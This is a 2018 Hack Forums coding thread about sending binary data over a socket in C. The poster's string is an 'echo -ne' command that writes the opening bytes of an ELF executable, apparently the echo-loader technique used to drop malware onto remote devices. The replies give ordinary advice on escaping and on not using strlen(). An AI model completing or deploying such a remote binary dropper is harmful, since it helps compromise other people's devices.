![]() |
|
[C] sending unicode over a socket - Printable Version +- Hack Forums (https://hackforums.net) +-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444) +--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151) +---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118) +---- Thread: [C] sending unicode over a socket (/showthread.php?tid=5903106) |
sending unicode over a socket - freenexus - Nov 3, 2018 Hello, im trying to send a hexed message over a socket but it doesnt seem to want to send it as unicode but instead some weird message what im trying to send Code char *UBERKEK = "echo -ne '\x7f\x45\x4c\x46\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\xac\x83\x00\x00\x34\x00\x00\x00\xd0\x04\x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x07\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x78\x04\x00\x00\x78\x04\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x78\x04\x00\x00\x78\x04\x01\x00\x78\x04\x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x07\x00\x00\x00\x78\x04\x00\x00\x78\x04\x01\x00' \n";how im sending it Code send(fd ,UBERKEK, strlen(UBERKEK),0);What I get Code ELF(▒▒4▒4 (▒▒xx▒xxx▒xxwhat I want it to send Code echo -ne '\x7f\x45\x4c\x46\x00\x00\x00\x00\x00\x00\x00\x02\x00\x28\x00\x01\x00\x00\x00\xac\x83\x00\x00\x34\x00\x00\x00\xd0\x04\x00\x00\x02\x00\x00\x04\x34\x00\x20\x00\x04\x00\x28\x00\x07\x00\x06\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x80\x00\x00\x78\x04\x00\x00\x78\x04\x00\x00\x05\x00\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00\x78\x04\x00\x00\x78\x04\x01\x00\x78\x04\x01\x00\x10\x00\x00\x00\x10\x00\x00\x00\x06\x00\x00\x00\x00\x80\x00\x00\x07\x00\x00\x00\x78\x04\x00\x00\x78\x04\x01\x00RE: sending unicode over a socket - Abruptum - Nov 3, 2018 then you need to double escape the hex values RE: sending unicode over a socket - 0xDEAD10CC - Nov 4, 2018 First of all you don't need to double-escape them because then you need to translate those escaped representation of hex values back into bytes from a string. You need to avoid strlen() because this will stop at the first occurrence of a null-terminating byte for a non-unicode string. Unicode strings don't use char *. RE: sending unicode over a socket - RascalPascal - Nov 5, 2018 The process of sending unicode string via sockets is the same as sending any data using sockets. Just pass the pointer to the data and correct size of the data to be sent. Like the user above me said, dont use strlen to calculate unicode string length. |